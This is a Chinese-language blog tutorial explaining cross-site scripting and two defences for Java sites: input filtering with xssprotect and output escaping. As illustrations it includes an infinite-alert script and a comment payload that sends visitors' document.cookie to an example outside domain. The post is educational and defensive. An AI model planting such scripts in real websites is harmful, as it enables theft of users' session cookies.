大牛?无他,唯手熟尔!

XSS跨站脚本漏洞讲解及防护

2015-01-12 15:13:24来源:caogenjava阅读[1590]评论[0]
摘要:何为“xss跨站脚本攻击”?百度百科是这么说的:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。

本文由草根java提供,转载请注明出处https://www.caogenjava.com/detail/11.html

何为“xss跨站脚本攻击”?百度百科是这么说的:跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。

百度百科同学解释的很好,不过小白表示还是听不懂。现在我用大白话讲一下,还是听不懂的同学请勿拍砖!

先看名字“跨站脚本攻击”,明确说明了攻击执行对象是脚本。相信很多人在开发过程都遇到过这样一个问题:我写了一篇文章,内容中有脚本片段,比如有个alert提示,在查看这篇文章的时候就alert出来了,其实我们的本意呢仅仅是让他跟普通文本一样显示出来就ok了,但是他却执行了。

呵呵,我上面说的问题不少人都中枪了吧。很多人在网上问这种问题如何解决?先不说如何解决,我先告诉你一个坏消息,你已经中招了,这就是“跨站脚本攻击漏洞”。

广义上讲,如果不管你提交什么内容,你的系统都能原模原样的将其接收并保存,就说明你的系统存在该漏洞,因为这说明,假如我提交恶意脚本,你的系统照样也能接收,这就给不法分子提供了机会。

现在我模拟一下攻击过程。

比如你有一个网站,域名是www.blog.com,有跨站漏洞。

我呢也有一个网站,域名是www.gaopohuai.com,也有跨站漏洞,但是我只接收不显示。

我来充当那个不法分子。

我上网的时候无意中看到你的网站,好家伙,文章不少,评论也不少。我也捧个场,找个文章给你评论下。

我这样写评论:


<script type="text/javascript">
while(true){
    alert(1);
}
</script>


猜猜看,当别人再访问这篇文章的时候会发生什么呢?

我再换一种写法:


<script type="text/javascript">
window.open("http://www.gaopohuai.com?cookie="+document.cookie);
</script>


再猜猜看,当别的用户访问这篇文章的时候又会发生什么?对,他们的cookie信息都发给我了,里面可都是价值连城的信息啊。 

说到这,大家应该明白这个漏洞是如何工作的了吧。

那就再说说如何预防。

我个人看来,解决这个问题至少有两种方法:

1.在提交的时候守护一下,不让你提交

2.在显示的时候守护一下,不让你执行

思路很简单,1.我不让你提交包含恶意脚本的内容;2.如果你提交了,显示的时候我不让他执行。做到任何一点都能解决这个问题,两点都做到了就更好了。

还是那句话,本站是java博客,所以只针对java项目提供解决方案,如有其他需要请自行百度,资料很多。

1.禁止提交恶意脚本片段:利用开源的xssprotect功能包解决

2.禁止已经提交的恶意脚本执行:思路就是转义,将一些特殊的符号<、>、&等转义成等效值。这样显示到页面的时候脚本片段被“加铐”,不能再肆意妄为了,但是却能看到片段的实际内容。转义的时候也是分两种情况的。针对来自textarea提交的内容和富文本编辑器提交的内容,处理起来稍微有点差异。因为如果是富文本编辑器提交的内容,转义归转义,但是不能破坏掉其他的正常html标签,我们只针对脚本程序片进行处理就行了。

具体实现,请见由本站提供的完整程序包。本站提供代码,永远只会提供完整的项目包,不会只提供相关代码片段,以方便所有草根java程序员更快更有效的使用和学习。

 

链接: http://pan.baidu.com/s/1dDD2Wtb

密码: vqet

文件解压密码:www.caogenjava.com


除非注明,文章均为草根java原创,转载请注明本文地址: https://www.caogenjava.com/detail/11.html

上一篇:Tomcat启用gzip压缩,为你的网站提速、省流量        下一篇:手机信号代表的含义:G、E、H、H+等
网友评论,共0 发表评论
昵称:
评论:
验证码: 刷新验证码